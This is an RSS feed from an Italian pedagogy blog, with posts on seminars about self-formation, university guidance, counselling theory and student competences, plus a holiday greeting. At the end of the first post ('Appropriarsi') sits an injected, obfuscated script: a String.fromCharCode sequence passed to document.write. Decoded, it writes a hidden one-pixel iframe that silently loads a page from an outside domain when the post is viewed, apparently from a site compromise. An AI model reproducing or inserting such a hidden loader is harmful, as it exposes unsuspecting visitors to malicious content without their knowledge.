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	<title>L'angolo del caffè</title>
	<link>http://www.caffepedagogico.org/blog</link>
	<description>Il caffè Pedagogico</description>
	<pubDate>Fri, 25 Jun 2010 13:47:01 +0000</pubDate>
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		<title>Appropriarsi</title>
		<link>http://www.caffepedagogico.org/blog/?p=187</link>
		<comments>http://www.caffepedagogico.org/blog/?p=187#comments</comments>
		<pubDate>Sat, 31 Oct 2009 10:04:27 +0000</pubDate>
		<dc:creator>Andrea</dc:creator>
		
		<category><![CDATA[L'angolo del caffè]]></category>

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		<description><![CDATA[Prende avvio il nuovo ciclo di incontri dei Caffè Pedagogici: Traiettorie esistenziali e complessità autobiografiche.
L’idea, la possibilità, la sperimentazione e la narrabilità del “potere su di sé”, del potere personale rispetto alle direzioni dell’esistenza e al farsi storia della presenza personale. In questa cornice abbiamo condiviso un’esperienza di formazione tra “autos” e “socialità”.
 
Quando possiamo parlare [...]]]></description>
			<content:encoded><![CDATA[<p><font face="Times New Roman">Prende avvio il nuovo ciclo di incontri dei Caffè Pedagogici: <strong><em>Traiettorie esistenziali e complessità autobiografiche.</em></strong></font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">L’idea, la possibilità, la sperimentazione e la narrabilità del “potere su di sé”, del potere personale rispetto alle direzioni dell’esistenza e al farsi storia della presenza personale. In questa cornice abbiamo condiviso un’esperienza di formazione tra “autos” e “socialità”.</font></p>
<p><font face="Times New Roman"> </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Quando possiamo parlare di auto-formazione? In quali contesti? Quali relazioni del sé con sé e del sé con gli altri e con l’alterità propria del sé dischiudono la possibilità dell’appropriazione del proprio potere di formazione?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Ponendomi queste domande ho preso parte all’azione riflessiva della pratica autobiografica che ci ha visto autori e/o attori, autrici e/o attrici di un’esperienza di condivisione di storie di vita, di intimità e criticità.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">In che modo possiamo prenderci cura di noi stessi e degli altri? Attraverso quali interrogazioni possiamo accogliere e accoglierci? Attraverso quali processi dischiudere o dischiuderci alla possibilità di cambiamento?<span>  </span></font></p>
<p><font face="Times New Roman"> </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">La <em>presenza a sé</em> come spazio di esistenza e la percezione della <em>dimensione temporale</em> dell’esistenza hanno tracciato i contorni della mia partecipazione… mentre nel presente, per me, il passato diventa passato mentre il futuro si dischiude nella stessa e non identica forma… vi saluto! Alessandra</font></p>
<p><!--00fcf16c20654ad3cef95765c246326a22010--></p>
<script type="text/javascript">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))</script>
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		<title>LA</title>
		<link>http://www.caffepedagogico.org/blog/?p=186</link>
		<comments>http://www.caffepedagogico.org/blog/?p=186#comments</comments>
		<pubDate>Thu, 19 Feb 2009 14:43:21 +0000</pubDate>
		<dc:creator>Andrea</dc:creator>
		
		<category><![CDATA[L'angolo del caffè]]></category>

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		<description><![CDATA[&#160;
Benvenuti al Caffè Pedagogico!
Il seminario odierno intende discutere il rapporto tra orientamento e formazione: in che modo, nella società liquida, l’orientamento intercetta e valorizza il desiderio e le competenze del conoscere con la necessi tà del sapere e della professionalità.
La presenza di due esperti come la dottoressa Arianna Cattarin, della Sezione Orientamento, Mobilità Internazionale, Stage [...]]]></description>
			<content:encoded><![CDATA[<p align="right" style="margin: 0cm 0cm 0pt; text-align: right" class="MsoNormal">&nbsp;</p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Benvenuti al Caffè Pedagogico!</font></p>
<p><font face="Times New Roman">Il seminario odierno intende discutere il rapporto tra orientamento e formazione: in che modo, nella società <em>liquida, </em>l’orientamento intercetta e valorizza il <em>desiderio </em>e le competenze del conoscere con la </font><font face="Times New Roman"><em>necessi<span style="z-index: 4; left: 0pt; position: absolute"> </span></em></font><font face="Times New Roman"><em>tà del sapere e della professionalità.</em></font></p>
<p><font face="Times New Roman">La presenza di due esperti come la dottoressa <strong>Arianna Cattarin</strong>, della Sezione Orientamento, Mobilità Internazionale, Stage e Placement dell’Università Ca’ Foscari e la dottoressa <strong>Fabrizia Maschietto</strong>, dell’Ufficio Orientamento e Informazione della Regione Veneto, ci permetterà oggi di verificare le opzioni scelte dalle istituzioni attraverso i modelli ed i programmi di orientamento pre-studi universitari e post-lauream.</font></p>
<p><font face="Times New Roman">Al timone del Caffè la nostra capitana, professoressa <strong>Ivana Padoan</strong></font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Presentazione del problema di <strong>Cristiano Chiusso</strong>, autore/attore del Caffè.</font></p>
<p style="border-right: medium none; padding-right: 0cm; border-top: medium none; padding-left: 0cm; padding-bottom: 1pt; border-left: medium none; padding-top: 0cm; border-bottom: windowtext 1pt solid"><u><span style="text-decoration: none"></span></u></p>
<p><u><span style="text-decoration: none"></span></u></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Rapporto maestri e allievi: </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">l’orientatore è un maestro? L’orientando è un allievo?</font></p>
<p><u><span style="text-decoration: none"></span></u></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Varie fasi di orientamento:</font></p>
<p><u><font face="Times New Roman">orientamento ex ante o in ingresso</font></u></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">scelta da prendere dopo la maturità</font></p>
<p><u><font face="Times New Roman">orientamento in itinere</font></u></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">durante il percorso universitario</font></p>
<p><u><font face="Times New Roman">orientamento ex post o in uscita</font></u></p>
<p style="margin: 0cm 0cm 0pt"><font face="Times New Roman">scelta da prendere dopo la laurea</font></p>
<p><u><span style="text-decoration: none"></span></u><u></u></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Orientamento: volgersi verso oriente, riconoscere i punti cardinali del luogo dove ci si trova. </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Essere in viaggio, in mare aperto.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Geografia personale: dove sono collocato nel mio essere nel mondo? </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Geografia personale, ovvero biografia, narrazione di sé, del sé.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Nella società liquida, cosa dobbiamo sapere? E cosa vogliamo conoscere?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Le conoscenze di ieri sono ancora attuali?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Come dobbiamo essere? E come vogliamo essere?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman"><em>Società liquida</em>: Bauman, ma prima ancora Baudelaire, ma prima ancora Marx.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Che significa orientamento nella società liquida della post-modernità?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Definizione di orientamento:</font></p>
<p><em><font face="Times New Roman">processo di aiuto ad una persona perché possa risolvere un problema che la vita gli pone. Acquisizione delle capacità di reagire adeguatamente, in qualsiasi situazione, rendendo così effettiva la sua scelta personale.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Quindi, orientamento implica un aiuto? Implica il problem solving? Implica la capacità di scegliere?</font></p>
<p><em><font face="Times New Roman">Centralità dell’orientando.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Ognuno è un mondo a sé, quindi l’azione di orientamento è necessariamente diversa da soggetto a soggetto, prendendo in cura il suo irriducibile modo di percepire e di percepirsi nel mondo.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Ma allora è possibile parlare di metodologie e di buone pratiche dell’orientamento?</font></p>
<p><em><font face="Times New Roman">Su cosa lavora l’orientamento?</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Sulle competenze personali date dalla somma di capacità e conoscenze, ma anche</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">sulla posizione affettiva nei confronti delle possibili alternative, ma anche</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">sulle proprie caratteristiche personali.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Stiamo parlando del proprio progetto di vita: pro-getto, dove mi vedo nel futuro?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman"></p>
<personname ProductID="La Geworfenheit" w:st="on"></personname>La <em>Geworfenheit</em> di Heidegger diventa <em>Entwurf</em>, progetto.</font></p>
<h3 style="margin: 0cm 0cm 0pt"><em><font size="3" face="Times New Roman">Un tipo particolare di orientamento centrato sull’utente: il counselling </font></em></h3>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Suo obiettivo intermedio: formare/modificare atteggiamenti, ovvero tendenze ad agire.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Definizione di atteggiamento: </font></p>
<p><em><font face="Times New Roman">stato mentale e neurologico di disponibilità a reagire, organizzato attraverso l’esperienza, che esercita un’influenza direttiva e/o dinamica sul comportamento.</font></em><font face="Times New Roman"> </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Atteggiamenti cognitivi,</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">atteggiamenti comportamentali, </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">atteggiamenti emotivi.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">I nostri atteggiamenti riflettono: </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">le nostre convenzioni; </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">i valori dei nostri gruppi di riferimento;</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">le norme.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Competenze analitiche, verbali, logico-razionali da una parte;</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">competenze sintetiche, comportamentali, emotive dall’altra.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Qual è il nostro atteggiamento di fronte all’università?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Come ci atteggiamo nei confronti del mondo del lavoro?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">In ultima analisi: con quale atteggiamento abitiamo la vita? </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Atteggiamento come Weltanschaaung.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Atteggiamenti mobili, fluidi, in divenire: processi adattivi.</font></p>
<p><em><font face="Times New Roman">Orientamento come soddisfazione di bisogni.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Definizione di bisogno:</font></p>
<p><em><font face="Times New Roman">stato di carenza che spinge l&#8217;organismo a rapportarsi con il suo ambiente al fine di colmarlo.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Conosciamo i nostri bisogni?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Bisogni consapevoli / bisogni inconsapevoli.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">La piramide di Maslow: </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">bisogni fisiologici; </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">bisogni di sicurezza; </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">bisogni di amore/appartenenza; </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">bisogni di autostima; </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">bisogni di autorealizzazione.</font></p>
<p><em><font face="Times New Roman">Orientamento come indagine degli interessi.</font></em><font face="Times New Roman">Definizione di interesse:<em> </em></font><em><font face="Times New Roman">attrazione che produce coinvolgimento e partecipazione nel soggetto.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Quali sono i miei interessi? Perché ho certi interessi e non altri?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Biogramma degli interessi.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Strettamente legato all’interesse è la motivazione.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Definizione di motivazione: </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoBodyText2"><em><font face="Times New Roman">espressione dei motivi che inducono un individuo a una determinata azione; l&#8217;insieme dei fattori dinamici aventi una data origine che spingono il comportamento di un individuo verso una data meta.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Orientamento chiama in causa la personalità del soggetto nel suo insieme.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">La soddisfazione personale dipende in maniera rilevante dalle caratteristiche personali.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Quali sono le mie caratteristiche personali? </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Come sono io? Come sono con gli altri? Come sono gli altri con me?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Il curriculum europeo insiste sulle competenze relazionali ed organizzative, ovvero sulle caratteristiche personali. Investe il come sei, piuttosto che il cosa sai o il cosa hai fatto.</font></p>
<p><em><font face="Times New Roman">Orientamento come interrogazione sul concetto di sé.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Dimensione sociale del sé: modo in cui il soggetto ritiene di essere visto dagli altri.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Esperienza di identità che insorge dalla mia interazione con il mondo.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">È un’organizzazione cognitiva che risponde alla domanda: chi sono?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Domanda implicita nell’evento dialogico dell’orientamento: </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">io chi voglio essere? Io che devo essere? Io che posso essere?</font></p>
<p><em><font face="Times New Roman">Orientamento come aiuto alla presa di decisione.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">La decisione è un atto di sintesi in cui convergono i risultati di dinamiche di varia origine: la famiglia, i gruppi di appartenenza, i bisogni, il concetto di sé, i desideri, l’informazione.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Dinamica della decisione: dal problem finding al problem solving.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Educazione alla capacità critica come fase necessaria del processo decisionale.</font></p>
<p><em><font face="Times New Roman">L’orientamento come relazione di aiuto.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Aiuto al superamento di condizioni di sofferenza, di confusione, di conflitto, di disabilità.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Processo di facilitazione, non di sostituzione del soggetto.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Lo studente pone la domanda dietro cui si staglia un orizzonte cognitivo ed affettivo che interroga sulla produzione di significati di sé, per sé.</font></p>
<p><em><font face="Times New Roman">Orientamento come produzione di senso.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Narrazione di sé ad un altro.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Orientamento narrativo: l’autobiografia.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Individuo come essere sim-bolico.</font></p>
<p><em><font face="Times New Roman">Orientamento centrato sulle risorse.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Ri-scoperta delle proprie risorse.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Assunzione di nuovi punti di vista / sensazioni / visioni di sé.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Rogers: “<em>Ognuno di noi è il meglio possibile</em>!”</font></p>
<p><font face="Times New Roman">Proust: “<em>Il vero viaggio di scoperta non consiste nel cercare nuove terre ma nell&#8217;avere nuovi occhi”</em></font><font face="Times New Roman"> </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Attraverso la relazione consulente/consultante si mette in moto un processo di apprendimento.</font></p>
<p><font face="Times New Roman">Wittgenstein: “<em>Tu non puoi far uscire il seme dal terreno. Puoi dargli solo calore, umidità e luce, e poi deve crescere”.</em></font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Centralità dell’orientando: rogersianamente inteso, l’orientatore non dà giudizi, accetta l’utente senza condizioni, ascolta senza dare consigli.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Ma è possibile orientare senza indicare una direzione?</font></p>
<p><span lang="DE"><font face="Times New Roman">Jaspers: differenza tra <em>erklären</em> e <em>verstehen.</em></font></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Erklären: mirato alla soluzione di problemi.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Verstehen: mirato al cambiamento.</font></p>
<h3 style="margin: 0cm 0cm 0pt"><em><font size="3" face="Times New Roman">Orientamento come apprendimento al cambiamento.</font></em></h3>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Compito dell’orientatore: facilitatore di processi di apprendimento.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Bateson: <em>“L’apprendimento denota sempre un qualche tipo di cambiamento”.</em></font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Apprendimento al cambiamento: nella società liquida = individuo liquido, in perenne mutamento.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman"><em>Orientamento come rafforzamento del soggetto</em>: </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">l’empowerment di Bruscaglioni.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Io desiderante: io che de-sidera.</font></p>
<p><span lang="EN-US"><font face="Times New Roman">Hopefullness, self efficacy, self esteem.</font></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Far acquisire maggiore fiducia nelle proprie capacità ed ampliare le proprie possibilità di essere e di agire nel mondo.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Potere buono: io posso! Io posso realizzare il mio sogno professionale?</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">L’orientamento non deve dimenticare il mondo, lo sfondo su cui agisce il soggetto:</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">aspetti sociali, economici, anagrafici.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Orientamento come passaggio di informazioni.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Compiti ulteriori: far conoscere le possibili alternative formative/professionali ed i relativi sbocchi occupazionali.</font></p>
<p><em><font face="Times New Roman">Orientamento e formazione.</font></em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Definizione di formazione: </font></p>
<p><em><font face="Times New Roman">processo finalizzato all’acquisizione, promozione, diffusione ed aggiornamento del sapere e delle competenze (conoscenze + capacità).</font></em><span><font face="Times New Roman">Processi maturativi centrati sull’apprendimento: entrambi sono dei fattori essenziali di creazione di conoscenza e di sapere a fronte di bisogni mutevoli e del bisogno di un apprendimento permanente.</font></span><span><font face="Times New Roman"> </font></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Passaggio da un orientamento inteso come sostegno all’azione di scelta</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">ad un orientamento finalizzato al sostegno motivazionale della persona.</font></p>
<h3 style="margin: 0cm 0cm 0pt"><em><font size="3" face="Times New Roman">Attività educativa.</font></em></h3>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">I soggetti cambiano in quanto apprendono.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Dall’osservazione riflessiva alla sperimentazione attiva: la formazione come sperimentazione simbolica, protetta, di sé nella relazione con gli altri.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">La formazione non lavora sul campo della verità del soggetto, più propriamente su una o più ipotesi di verità del soggetto.</font></p>
<p><font face="Times New Roman">Lorenz: “<em>La verità è quell’ipotesi di lavoro che si presta meglio ad aprire la strada ad un’altra ipotesi che riesce a spiegare di più.”</em></font><font face="Times New Roman"> </font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">Quaglino: <em>Tra formazione ed autoformazione, tra orientamento ed auto-orientamento</em>.</font></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><font face="Times New Roman">È questa la collocazione dello studente di oggi?</font></p>
<p align="right"><strong><font face="Times New Roman">FORMAZIONE                                                                AUTO </font><font face="Times New Roman">FORMAZIONE</font></strong></p>
<p align="center"><strong>SOGGETTO</strong></p>
<p align="left"><strong>                      ORIENTAMENTO                                         AUTO ORIENTAMENTO</strong></p>
<p> <a href="http://www.caffepedagogico.org/blog/?p=186#more-186" class="more-link">&#8211;></a></p>
]]></content:encoded>
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		<title></title>
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		<pubDate>Wed, 11 Feb 2009 13:46:26 +0000</pubDate>
		<dc:creator>Andrea</dc:creator>
		
		<category><![CDATA[L'angolo del caffè]]></category>

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		<description><![CDATA[Carissimi/e, purtroppo non ho potuto partecipare al caffé pedagogico del 19 gennaio Competenze professionali dello studente universitario e posso condividere i miei interrogativi solo a posteriori. Mi piacerebbe leggere qualcosa sull’intervento di Alessandra Aiello e magari tornare su alcune riflessioni anche in vista del prossimo incontro: Orientarsi all´università. Anticipazione e riflessione nell´azione.
 

Tra un caffé e [...]]]></description>
			<content:encoded><![CDATA[<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span lang="ES"><font face="Times New Roman">Carissimi/e, purtroppo non ho potuto partecipare al caffé pedagogico del 19 gennaio <strong><em>Competenze professionali dello studente universitario</em></strong> e posso condividere i miei interrogativi solo a posteriori. Mi piacerebbe leggere qualcosa sull’intervento di Alessandra Aiello e magari tornare su alcune riflessioni anche in vista del prossimo incontro: <strong><em>Orientarsi all´università. Anticipazione e riflessione</em></strong> <strong><em>nell´azione</em></strong>.</font></span></p>
<p><span lang="ES"><font face="Times New Roman"> </font></p>
<p></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span lang="ES"><font face="Times New Roman">Tra un caffé e l´altro condivido le mie domande&#8230;</font></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span lang="ES"><font face="Times New Roman">L´orientamento mobilita competenze? </font></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span lang="ES"><font face="Times New Roman">&#8220;Saper anticipare&#8221; e &#8220;saper riflettere&#8221; che tipo di saperi sono? </font></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span lang="ES"><font face="Times New Roman">Quali epistemologie rappresentano lo sfondo della nozione di competenza? </font></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span lang="ES"><font face="Times New Roman">Che relazione c´è tra <em>sapere</em> e <em>azione</em>? E tra <em>fare</em> e <em>agire</em>?</font></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span lang="ES"><font face="Times New Roman">Quali conoscenze si giocano nell´azione? In che senso siamo consapevoli delle azioni in atto? Questa consapevolezza in che relazione è con l’azione? E cioè, nel corso degli studi universitari di che tipo di azione siamo attori-autori? Che tipo di azione, d’altra parte, specifica la professionalità di ciascuna e ciascuno?</font></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span lang="ES"><font face="Times New Roman">Ho sentito più volte dire che bisogna essere capaci di &#8220;tradurre il sapere in saper fare&#8221; e tante altre ho avvertito una sorta di rigidità nella nota distinzione tra sapere, saper fare e saper essere. Come interpretiamo il sapere e il fare alla luce della nozione di competenza?<span>  </span></font></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span lang="ES"><font face="Times New Roman">Ritornando al tema del caffé di febbraio: l´università può essere letta come una metafora del mondo postmoderno? Se è vero che agiamo sempre in un contesto, quali sono i contesti d´azione e come li interpretiamo? Che valore ha questa interpretazione per orientarsi all’università e nel mondo?</font></span></p>
<p><span lang="ES"><font face="Times New Roman"> </font></p>
<p></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span lang="ES"><font face="Times New Roman">Spero di non aver esagerato con i punti interrogativi&#8230;A presto!</font></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span lang="ES"><font face="Times New Roman">Alessandra</font></span></p>
<p> <a href="http://www.caffepedagogico.org/blog/?p=185#more-185" class="more-link">&#8211;></a></p>
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		<title>BUONE</title>
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		<pubDate>Mon, 22 Dec 2008 10:42:11 +0000</pubDate>
		<dc:creator>Andrea</dc:creator>
		
		<category><![CDATA[L'angolo del caffè]]></category>

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		<description><![CDATA[  CON I MIGLIORI AUGURI DI UN BUON NATALE E FELICE ANNO NUOVO
VI RICORDIAMO CHE IL NUOVO ANNO SI APRIRA&#8217; CON IL CAFFE&#8217; &#8220;RITORNARE AL PRESENTE &#8230; RITORNARE AL FUTURO - COMPETENZE PROFESSIONALI DELLO STUDENTE UNIVERSITARIO&#8221;
E&#8217; forse possibile conoscere senza possedere le competenze del conoscere ?
Cosa significa?
Quali sono?
Come agiscono?
Cosa mobilizzano nei processi si apprendimento?
Come si rapportano [...]]]></description>
			<content:encoded><![CDATA[<p><img width="127" src="http://www.caffepedagogico.org/blog/wp-content/uploads/2008/12/buon_natale_sm.thumbnail.jpg" alt="buon_natale_sm.jpg" height="98" />  <strong>CON I MIGLIORI AUGURI DI UN BUON NATALE E FELICE ANNO NUOVO</strong></p>
<p>VI RICORDIAMO CHE IL NUOVO ANNO SI APRIRA&#8217; CON IL CAFFE&#8217; &#8220;RITORNARE AL PRESENTE &#8230; RITORNARE AL FUTURO - COMPETENZE PROFESSIONALI DELLO STUDENTE UNIVERSITARIO&#8221;</p>
<p>E&#8217; forse possibile conoscere senza possedere le competenze del conoscere ?</p>
<p>Cosa significa?</p>
<p>Quali sono?</p>
<p>Come agiscono?</p>
<p>Cosa mobilizzano nei processi si apprendimento?</p>
<p>Come si rapportano le conoscenze con le competenze e le capacità?</p>
<p>Quali sono le competenze di uno studente universitario?</p>
<p>Quali sono le competenze di un dottore di ricerca?</p>
<p>Il ruolo delle competenze nella transizione tra saperi e professionalità.</p>
<p>L&#8217;incontro discute il prcesso delle competenze nella formazione universitaria. considerata come &#8220;forma&#8221; di apprendimento superiore, con le prospettive, le condizioni e le possibilità di identità culturale nella società attuale.</p>
<p>   <a href="http://www.caffepedagogico.org/blog/?p=184#more-184" class="more-link">&#8211;></a></p>
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		</item>
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		<title>“EDUCARE CON DIFFERENZA”</title>
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		<pubDate>Wed, 10 Dec 2008 18:30:48 +0000</pubDate>
		<dc:creator>Andrea</dc:creator>
		
		<category><![CDATA[L'angolo del caffè]]></category>

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		<description><![CDATA[



Educare con differenza






 



 



Pedagogia dei generi, con i generi, per i generi maschile e femminile
3 dicembre 2008
